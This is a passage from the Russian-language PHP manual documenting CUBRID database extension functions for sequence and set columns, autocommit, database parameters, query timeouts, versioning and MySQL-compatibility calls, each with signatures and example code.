    ["PKCOLUMN_NAME"]=>
    string(4) "code"
    ["FKTABLE_NAME"]=>
    string(4) "game"
    ["FKCOLUMN_NAME"]=>
    string(10) "event_code"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["UPDATE_RULE"]=>
    string(1) "1"
    ["DELETE_RULE"]=>
    string(1) "1"
    ["FK_NAME"]=>
    string(18) "fk_game_event_code"
    ["PK_NAME"]=>
    string(13) "pk_event_code"
  }
}

--- Атрибут столбца ---
array(1) {
  [0]=>
  array(13) {
    ["ATTR_NAME"]=>
    string(4) "area"
    ["DOMAIN"]=>
    string(1) "7"
    ["SCALE"]=>
    string(1) "2"
    ["PRECISION"]=>
    string(2) "10"
    ["INDEXED"]=>
    string(1) "0"
    ["NON_NULL"]=>
    string(1) "0"
    ["SHARED"]=>
    string(1) "0"
    ["UNIQUE"]=>
    string(1) "0"
    ["DEFAULT"]=>
    NULL
    ["ATTR_ORDER"]=>
    string(1) "4"
    ["CLASS_NAME"]=>
    string(7) "stadium"
    ["SOURCE_CLASS"]=>
    string(7) "stadium"
    ["IS_KEY"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Удаляет элемент из столбца типа последовательности, используя OID

  • « cubrid_schema
  • cubrid_seq_insert »
  • PHP Manual
  • Функции CUBRID
  • Удаляет элемент из столбца типа последовательности, используя OID

cubrid_seq_drop

(PECL CUBRID >= 8.3.0)

cubrid_seq_drop — Удаляет элемент из столбца типа последовательности, используя OID

Описание

cubrid_seq_drop(
resource $conn_identifier,
string $oid,
string $attr_name,
int $index
): bool

Функция cubrid_seq_drop() используется для удаления элемента, который вы запрашиваете из данного атрибута типа последовательности в базе данных.

Список параметров

conn_identifier

Идентификатор соединения.

oid

OID экземпляра, с которым вы хотите работать.

attr_name

Имя атрибута, из которого вы хотите удалить элемент.

index

Индекс элемента, который вы хотите удалить (начиная с 1).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_seq_drop()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_drop($conn, $oid, "c", 4);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(3) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
}

Смотрите также

  • cubrid_seq_insert() - Вставляет элемент в столбец типа последовательности, используя OID
  • cubrid_seq_put() - Обновляет значение элемента столбца типа последовательности, используя OID

User Contributed Notes

There are no user contributed notes for this page.


Вставляет элемент в столбец типа последовательности, используя OID

  • « cubrid_seq_drop
  • cubrid_seq_put »
  • PHP Manual
  • Функции CUBRID
  • Вставляет элемент в столбец типа последовательности, используя OID

cubrid_seq_insert

(PECL CUBRID >= 8.3.0)

cubrid_seq_insert — Вставляет элемент в столбец типа последовательности, используя OID

Описание

cubrid_seq_insert(
resource $conn_identifier,
string $oid,
string $attr_name,
int $index,
string $seq_element
): bool

Функция cubrid_col_insert() используется для вставки элемента в атрибут типа последовательности в запрошенном месте.

Список параметров

conn_identifier

Идентификатор соединения.

oid

OID экземпляра, с которым вы хотите работать.

attr_name

Имя атрибута, в который вы хотите вставить экземпляр.

index

Расположение элемента, в который вы хотите вставить элемент (начиная с 1).

seq_element

Содержимое элемента, который вы хотите вставить.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_seq_insert()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_insert($conn, $oid, "c", 5, "44");

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(5) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
  [4]=>
  string(2) "44"
}

Смотрите также

  • cubrid_seq_drop() - Удаляет элемент из столбца типа последовательности, используя OID
  • cubrid_seq_put() - Обновляет значение элемента столбца типа последовательности, используя OID

User Contributed Notes

There are no user contributed notes for this page.


Обновляет значение элемента столбца типа последовательности, используя OID

  • « cubrid_seq_insert
  • cubrid_set_add »
  • PHP Manual
  • Функции CUBRID
  • Обновляет значение элемента столбца типа последовательности, используя OID

cubrid_seq_put

(PECL CUBRID >= 8.3.0)

cubrid_seq_put — Обновляет значение элемента столбца типа последовательности, используя OID

Описание

cubrid_seq_put(
resource $conn_identifier,
string $oid,
string $attr_name,
int $index,
string $seq_element
): bool

Функция cubrid_seq_put() используется для обновления содержимого запрошенного элемента в атрибуте sequent type с использованием OID.

Список параметров

conn_identifier

Идентификатор соединения.

oid

OID экземпляра, с которым вы хотите работать.

attr_name

Имя атрибута, который вы хотите обновить элемент.

index

Индекс (начиная с 1) элемента, который вы хотите обновить.

seq_element

Новый контент, который вы хотите использовать для обновления.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_seq_put()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_put($conn, $oid, "c", 1, "111");

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(4) {
  [0]=>
  string(3) "111"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}

Смотрите также

  • cubrid_seq_drop() - Удаляет элемент из столбца типа последовательности, используя OID
  • cubrid_seq_insert() - Вставляет элемент в столбец типа последовательности, используя OID

User Contributed Notes

There are no user contributed notes for this page.


Вставляет один элемент для установки столбца типа с помощью OID

  • « cubrid_seq_put
  • cubrid_set_autocommit »
  • PHP Manual
  • Функции CUBRID
  • Вставляет один элемент для установки столбца типа с помощью OID

cubrid_set_add

(PECL CUBRID >= 8.3.0)

cubrid_set_add — Вставляет один элемент для установки столбца типа с помощью OID

Описание

cubrid_set_add(
resource $conn_identifier,
string $oid,
string $attr_name,
string $set_element
): bool

Функция cubrid_set_add() используется для вставки одного элемента в заданный вами атрибут типа (set, multiset, sequence).

Список параметров

conn_identifier

Идентификатор соединения.

oid

OID экземпляра, с которым вы хотите работать.

attr_name

Имя атрибута, который вы хотите вставить элемент.

set_element

Содержимое элемента, который вы хотите вставить.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_set_add()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_set_add($conn, $oid, "b", "4");

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(4) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
  [3]=>
  string(1) "4"
}

Смотрите также

  • cubrid_seq_drop() - Удаляет элемент из столбца типа последовательности, используя OID

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает режим авто-коммита для соединения

  • « cubrid_set_add
  • cubrid_set_db_parameter »
  • PHP Manual
  • Функции CUBRID
  • Устанавливает режим авто-коммита для соединения

cubrid_set_autocommit

(PECL CUBRID >= 8.4.0)

cubrid_set_autocommit — Устанавливает режим авто-коммита для соединения

Описание

cubrid_set_autocommit(resource $conn_identifier, bool $mode): bool

Функция cubrid_set_autocommit() используется для установки режима авто-коммита для соединения.

В CUBRID PHP, авто-коммит транзакций по умолчанию запрещён. Если вы его включите, все ожидающие транзакции будут автоматически подтверждены.

Список параметров

conn_identifier

Идентификатор соединения.

mode

Режим авто-коммита. Одна из двух констант:

  • CUBRID_AUTOCOMMIT_FALSE
  • CUBRID_AUTOCOMMIT_TRUE

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • cubrid_get_autocommit() - Возвращает настройку авто-коммита для соединения
  • cubrid_commit() - Подтверждение транзакции

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметры базы данных CUBRID

  • « cubrid_set_autocommit
  • cubrid_set_drop »
  • PHP Manual
  • Функции CUBRID
  • Устанавливает параметры базы данных CUBRID

cubrid_set_db_parameter

(PECL CUBRID >= 8.4.0)

cubrid_set_db_parameter — Устанавливает параметры базы данных CUBRID

Описание

cubrid_set_db_parameter(resource $conn_identifier, int $param_type, int $param_value): bool

Функция cubrid_set_db_parameter() используется для установки параметров базы данных CUBRID. Он может установить следующие параметры базы данных CUBRID:

  • PARAM_ISOLATION_LEVEL
  • PARAM_LOCK_TIMEOUT

Замечание:

Режим автоматической фиксации может быть установлен с помощью cubrid_set_autocommit().

Список параметров

conn_identifier

CUBRID соединение. Если идентификатор соединения не указан, предполагается последняя ссылка, открываемая cubrid_connect().

param_type

Тип параметра базы данных.

param_value

Значение уровня изоляции (1-6) или значение времени ожидания блокировки (в секундах).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_get_db_parameter()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$params = cubrid_get_db_parameter($conn);
var_dump($params);

cubrid_set_autocommit($conn, CUBRID_AUTOCOMMIT_TRUE);
cubrid_set_db_parameter($conn, CUBRID_PARAM_ISOLATION_LEVEL, 2);

$params_new = cubrid_get_db_parameter($conn);
var_dump($params_new);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(4) {
  ["PARAM_ISOLATION_LEVEL"]=>
  int(3)
  ["PARAM_LOCK_TIMEOUT"]=>
  int(-1)
  ["PARAM_MAX_STRING_LENGTH"]=>
  int(1073741823)
  ["PARAM_AUTO_COMMIT"]=>
  int(0)
}
array(4) {
  ["PARAM_ISOLATION_LEVEL"]=>
  int(2)
  ["PARAM_LOCK_TIMEOUT"]=>
  int(-1)
  ["PARAM_MAX_STRING_LENGTH"]=>
  int(1073741823)
  ["PARAM_AUTO_COMMIT"]=>
  int(1)
}

Смотрите также

  • cubrid_get_db_parameter() - Возвращает параметры базы данных CUBRID
  • cubrid_set_autocommit() - Устанавливает режим авто-коммита для соединения

User Contributed Notes

There are no user contributed notes for this page.


Удаляет элемент из столбца заданного типа, используя OID

  • « cubrid_set_db_parameter
  • cubrid_set_query_timeout »
  • PHP Manual
  • Функции CUBRID
  • Удаляет элемент из столбца заданного типа, используя OID

cubrid_set_drop

(PECL CUBRID >= 8.3.0)

cubrid_set_drop — Удаляет элемент из столбца заданного типа, используя OID

Описание

cubrid_set_drop(
resource $conn_identifier,
string $oid,
string $attr_name,
string $set_element
): bool

Функция cubrid_set_drop() используется для удаления элемента, который вы запрашиваете из заданного атрибута типа набора (set, multiset) базы данных.

Список параметров

conn_identifier

Connection identifier.

oid

OID экземпляра, с которым вы хотите работать.

attr_name

Имя атрибута, из которого вы хотите удалить элемент.

set_element

Содержимое элемента, который вы хотите удалить.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_set_drop()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_set_drop($conn, $oid, "b", "1");

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "3"
}

Смотрите также

  • cubrid_set_add() - Вставляет один элемент для установки столбца типа с помощью OID

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает время ожидания выполнения запроса

  • « cubrid_set_drop
  • cubrid_version »
  • PHP Manual
  • Функции CUBRID
  • Устанавливает время ожидания выполнения запроса

cubrid_set_query_timeout

(PECL CUBRID >= 8.4.1)

cubrid_set_query_timeout — Устанавливает время ожидания выполнения запроса

Описание

cubrid_set_query_timeout(resource $req_identifier, int $timeout): bool

Функция cubrid_set_query_timeout() используется для установки времени ожидания выполнения запроса.

Список параметров

req_identifier

Request identifier.

timeout

Время ожидания, в миллисекундах.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • cubrid_get_query_timeout() - Получает значение времени ожидания запроса

User Contributed Notes

There are no user contributed notes for this page.


Получить версию модуля CUBRID PHP

  • « cubrid_set_query_timeout
  • Функции совместимости CUBRID MySQL »
  • PHP Manual
  • Функции CUBRID
  • Получить версию модуля CUBRID PHP

cubrid_version

(PECL CUBRID >= 8.3.0)

cubrid_version — Получить версию модуля CUBRID PHP

Описание

cubrid_version(): string

Функция cubrid_version() используется для получения версии модуля CUBRID PHP.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Информация о версии (например "8.3.1.0001").

Примеры

Пример #1 Пример использования cubrid_version()

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb", "dba");

if (!$conn) {
die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

Результат выполнения данного примера:

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

Смотрите также

  • cubrid_error_code() - Получить код ошибки
  • cubrid_error_code_facility() - Получить код уровня, на котором произошла ошибка

User Contributed Notes

There are no user contributed notes for this page.


Функции совместимости CUBRID MySQL

Содержание

  • cubrid_affected_rows — Количество строк, затронутых последним SQL-запросом
  • cubrid_client_encoding — Возвращает кодировку текущего соединения CUBRID
  • cubrid_close — Закрывает соединение с базой данных
  • cubrid_data_seek — Переместить внутренний указатель в результирующем наборе CUBRID
  • cubrid_db_name — Получение имени базы данных из результата cubrid_list_dbs
  • cubrid_errno — Возвращает код ошибки предыдущей операции CUBRID
  • cubrid_error — Возвращает текст последней произошедшей ошибки
  • cubrid_fetch_array — Извлечение строки из результирующего набора в виде ассоциативного массива, индексированного массива или обоих сразу
  • cubrid_fetch_assoc — Извлечь строку из результирующего набора в виде ассоциативного массива
  • cubrid_fetch_field — Получение информации о столбце результирующего набора в виде объекта
  • cubrid_fetch_lengths — Возвращает массив, содержащий длины всех столбцов текущей строки
  • cubrid_fetch_object — Извлечь следующую строку как объект
  • cubrid_fetch_row — Извлечь строку из результирующего набора в виде индексированного массива
  • cubrid_field_flags — Получить строку, содержащую флаги столбца по указанному индексу
  • cubrid_field_len — Получить максимальную длину указанного столбца
  • cubrid_field_name — Получить имя указанного столбца
  • cubrid_field_seek — Переместить внутренний указатель результирующего набора на указанный столбец
  • cubrid_field_table — Получить имя таблицы, которой принадлежит указанный столбец
  • cubrid_field_type — Получить тип указанного столбца
  • cubrid_list_dbs — Получить массив со списком всех баз данных CUBRID
  • cubrid_num_fields — Получить количество столбцов в результирующем наборе
  • cubrid_ping — Проверяет, живо ли соединение к серверу и переподключает его, если нет
  • cubrid_query — Отправка запроса CUBRID
  • cubrid_real_escape_string — Экранирование специальных символов в SQL-запросе
  • cubrid_result — Получить значение из заданного столбца заданной строки
  • cubrid_unbuffered_query — Выполнение запроса без загрузки результата в память

User Contributed Notes

There are no user contributed notes for this page.


Количество строк, затронутых последним SQL-запросом

  • « Функции совместимости CUBRID MySQL
  • cubrid_client_encoding »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Количество строк, затронутых последним SQL-запросом

cubrid_affected_rows

(PECL CUBRID >= 8.3.0)

cubrid_affected_rows — Количество строк, затронутых последним SQL-запросом

Описание

cubrid_affected_rows(resource $conn_identifier = ?): int
cubrid_affected_rows(resource $req_identifier = ?): int

Функция cubrid_affected_rows() используется для получения количества строк, затронутых последним SQL-запросом типа INSERT, DELETE или UPDATE.

Список параметров

conn_identifier

Идентификатор соединения CUBRID. Если не задано, то будет использоваться последнее открытое с помощью cubrid_connect() соединение.

req_identifier

Идентификатор запроса, должен быть возвращён функциями cubrid_prepare() или cubrid_execute(). Если не задан, то будет использован последний запрос, возвращённый cubrid_prepare() или cubrid_execute().

Возвращаемые значения

Количество строк, затронутых последним SQL-запросом, в случае успешного выполнения.

-1, если запрос не был типа INSERT, DELETE или UPDATE.

false, если идентификатор запроса не указан и отсутствуют какие-либо выполненные запросы.

Примеры

Пример #1 Пример использования cubrid_affected_rows()

<?php
$conn = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
cubrid_execute($conn, "DROP TABLE IF EXISTS cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (d varchar)");
$sql_stmt = "INSERT INTO cubrid_test(d) VALUES('php-test')";
$req = cubrid_prepare($conn, $sql_stmt);

for ($i = 0; $i < 10; $i++) {
cubrid_execute($req);
}
cubrid_commit($conn);

$req = cubrid_execute($conn, "DELETE FROM cubrid_test WHERE d='php-test'", CUBRID_ASYNC);
var_dump(cubrid_affected_rows());
var_dump(cubrid_affected_rows($conn));
var_dump(cubrid_affected_rows($req));

cubrid_disconnect($conn);

print "done!";
?>

Результат выполнения данного примера:

Rows deleted: 5

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор

User Contributed Notes

There are no user contributed notes for this page.


Возвращает кодировку текущего соединения CUBRID

  • « cubrid_affected_rows
  • cubrid_close »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Возвращает кодировку текущего соединения CUBRID

cubrid_client_encoding

(PECL CUBRID >= 8.3.1)

cubrid_client_encoding — Возвращает кодировку текущего соединения CUBRID

Описание

cubrid_client_encoding(resource $conn_identifier = ?): string

Функция возвращает кодировку текущего соединения CUBRID и аналогична функции cubrid_get_encoding().

Список параметров

conn_identifier

Идентификатор соединения. Если не задано, то будет использовано последнее открытое с помощью cubrid_connect() соединение.

Возвращаемые значения

Строка, содержащая кодировку текущего соединения CUBRID в случае успешного выполнения.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_client_encoding()

<?php

$con = cubrid_connect("localhost", 33000, "demodb");
if (!$con)
{
die('Не получилось подключиться.');
}

printf("Текущая кодировка CUBRID: %s\n", cubrid_client_encoding($con));

?>

Результат выполнения данного примера:

Текущая кодировка CUBRID: iso8859-1

Смотрите также

  • cubrid_get_charset() - Возвращает кодировку текущего соединения CUBRID

User Contributed Notes

There are no user contributed notes for this page.


Закрывает соединение с базой данных

  • « cubrid_client_encoding
  • cubrid_data_seek »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Закрывает соединение с базой данных

cubrid_close

(PECL CUBRID >= 8.3.1)

cubrid_close — Закрывает соединение с базой данных

Описание

cubrid_close(resource $conn_identifier = ?): bool

Функция cubrid_close() используется для закрытия обработчика соединения и отсоединения от сервера. Если какой-либо обработчик запроса не будет закрыт к этому моменту, он будет принудительно закрыт. Функция аналогична функции CUBRID cubrid_disconnect().

Список параметров

conn_identifier

Идентификатор соединения. Если не задано, то будет использовано последнее открытое с помощью cubrid_connect() соединение.

Возвращаемые значения

true, в случае успешного выполнения.

false, в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_close()

<?php
$con = cubrid_connect ("localhost", 33000, "demodb");
if ($con) {
echo "подключение успешно выполнено";
$req = cubrid_execute ( $con, "insert into person values(1,'James')");
if ($req) {
cubrid_close_request ($req);
cubrid_commit ($con);
} else {
cubrid_rollback ($con);
}
cubrid_close ($con);
}
?>

Смотрите также

  • cubrid_disconnect() - Закрывает соединение с базой данных
  • cubrid_connect() - Открывает соединение к серверу CUBRID
  • cubrid_connect_with_url() - Создаёт окружение для соединения с сервером CUBRID

User Contributed Notes

There are no user contributed notes for this page.


Переместить внутренний указатель в результирующем наборе CUBRID

  • « cubrid_close
  • cubrid_db_name »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Переместить внутренний указатель в результирующем наборе CUBRID

cubrid_data_seek

(PECL CUBRID >= 8.3.0)

cubrid_data_seek — Переместить внутренний указатель в результирующем наборе CUBRID

Описание

cubrid_data_seek(resource $result, int $row_number): bool

Функция перемещает внутренний указатель в результирующем наборе CUBRID (заданным идентификатором запроса) на строку с заданным номером. Может использоваться совместно с функциями типа cubrid_fetch_assoc(), которые используют значение row_number.

Список параметров

result

Результат.

row_number

Желаемый номер строки нового указателя результата.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_data_seek()

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");
cubrid_data_seek($req, 0);

$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_data_seek($req, 2);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_data_seek($req, 4);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(2) {
  [0]=>
  string(1) "X"
  [1]=>
  string(5) "Mixed"
}
array(2) {
  [0]=>
  string(1) "M"
  [1]=>
  string(3) "Man"
}
array(2) {
  [0]=>
  string(1) "S"
  [1]=>
  string(6) "Silver"
}

User Contributed Notes

There are no user contributed notes for this page.


Получение имени базы данных из результата cubrid_list_dbs

  • « cubrid_data_seek
  • cubrid_errno »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Получение имени базы данных из результата cubrid_list_dbs

cubrid_db_name

(PECL CUBRID >= 8.3.1)

cubrid_db_name — Получение имени базы данных из результата cubrid_list_dbs

Описание

cubrid_db_name(array $result, int $index): string

Извлекает имя базы данных из результата вызова cubrid_list_dbs().

Список параметров

result

Указатель на результат вызова cubrid_list_dbs().

index

Индекс в результирующем наборе.

Возвращаемые значения

Возвращает имя базы данных в случае успешного выполнения или false в случае возникновения ошибки. Если вернулось false, используйте cubrid_error() для точного определения произошедшей ошибки.

Примеры

Пример #1 Пример использования cubrid_db_name()

<?php
error_reporting(E_ALL);

$conn = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$db_list = cubrid_list_dbs($conn);

$i = 0;
$cnt = count($db_list);
while ($i < $cnt) {
echo cubrid_db_name($db_list, $i) . "\n";
$i++;
}
?>

Результат выполнения данного примера:

demodb

Смотрите также

  • cubrid_list_dbs() - Получить массив со списком всех баз данных CUBRID

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код ошибки предыдущей операции CUBRID

  • « cubrid_db_name
  • cubrid_error »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Возвращает код ошибки предыдущей операции CUBRID

cubrid_errno

(PECL CUBRID >= 8.3.1)

cubrid_errno — Возвращает код ошибки предыдущей операции CUBRID

Описание

cubrid_errno(resource $conn_identifier = ?): int

Возвращает код ошибки предыдущей операции CUBRID.

Функция cubrid_errno() используется для получения кода произошедшей ошибки. Обычно вы можете получить код ошибки, если какая-либо функция вернула false.

Список параметров

conn_identifier

Идентификатор соединения. Если не задано, то будет использовано последнее открытое с помощью cubrid_connect() соединение.

Возвращаемые значения

Код возникшей ошибки, или 0 (ноль), если ошибки не было.

Примеры

Пример #1 Пример использования cubrid_errno()

<?php
$con = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$req = cubrid_execute($con, "select id, name from person");
if ($req) {
while (list ($id, $name) = cubrid_fetch($req))
echo $id, $name;
} else {
echo "Код ошибки: ", cubrid_errno($con);
echo "Текст ошибки: ", cubrid_error($con);
}
?>

Результат выполнения данного примера:

Код ошибки: -493 Текст ошибки: Syntax: Unknown class "person". select id, [name] from person

Смотрите также

  • cubrid_error() - Возвращает текст последней произошедшей ошибки
  • cubrid_error_code() - Получить код ошибки
  • cubrid_error_msg() - Возвращает текст последней произошедшей ошибки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текст последней произошедшей ошибки

  • « cubrid_errno
  • cubrid_fetch_array »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Возвращает текст последней произошедшей ошибки

cubrid_error

(PECL CUBRID >= 8.3.1)

cubrid_error — Возвращает текст последней произошедшей ошибки

Описание

cubrid_error(resource $connection = ?): string

Функция cubrid_error() используется для получения текста произошедшей ошибки. Обычно вы можете получить текст ошибки, если какая-либо функция вернула false.

Список параметров

connection

Идентификатор соединения.

Возвращаемые значения

Текст ошибки.

Примеры

Пример #1 Пример использования cubrid_error()

<?php
$con = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$req = cubrid_execute($con, "select id, name from person");
if ($req) {
while (list ($id, $name) = cubrid_fetch($req))
echo $id, $name;
} else {
echo "Код ошибки: ", cubrid_errno($con);
echo "Текст ошибки: ", cubrid_error($con);
}
?>

Результат выполнения данного примера:

Код ошибки: -493 Текст ошибки: Syntax: Unknown class "person". select id, [name] from person

Смотрите также

  • cubrid_errno() - Возвращает код ошибки предыдущей операции CUBRID
  • cubrid_error_code() - Получить код ошибки
  • cubrid_error_msg() - Возвращает текст последней произошедшей ошибки

User Contributed Notes

There are no user contributed notes for this page.


Извлечение строки из результирующего набора в виде ассоциативного массива, индексированного массива или обоих сразу

  • « cubrid_error
  • cubrid_fetch_assoc »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Извлечение строки из результирующего набора в виде ассоциативного массива, индексированного массива или обоих сразу

cubrid_fetch_array

(PECL CUBRID >=8.3.0)

cubrid_fetch_array — Извлечение строки из результирующего набора в виде ассоциативного массива, индексированного массива или обоих сразу

Описание

cubrid_fetch_array(resource $result, int $type = CUBRID_BOTH): array

Функция cubrid_fetch_array() служит для извлечения одной строки из результирующего набора. После извлечения, курсор автоматически передвинется на следующую строку.

Список параметров

result

Result полученный из cubrid_execute()

type

Тип массива для извлечения: CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH. Если вам нужно оперировать объектами типа LOB - используйте CUBRID_LOB.

Возвращаемые значения

Возвращает массив строк, соответствующий извлечённой строке, в случае успешного выполнения.

false, если строк больше нет; NULL, когда процесс завершается с ошибкой.

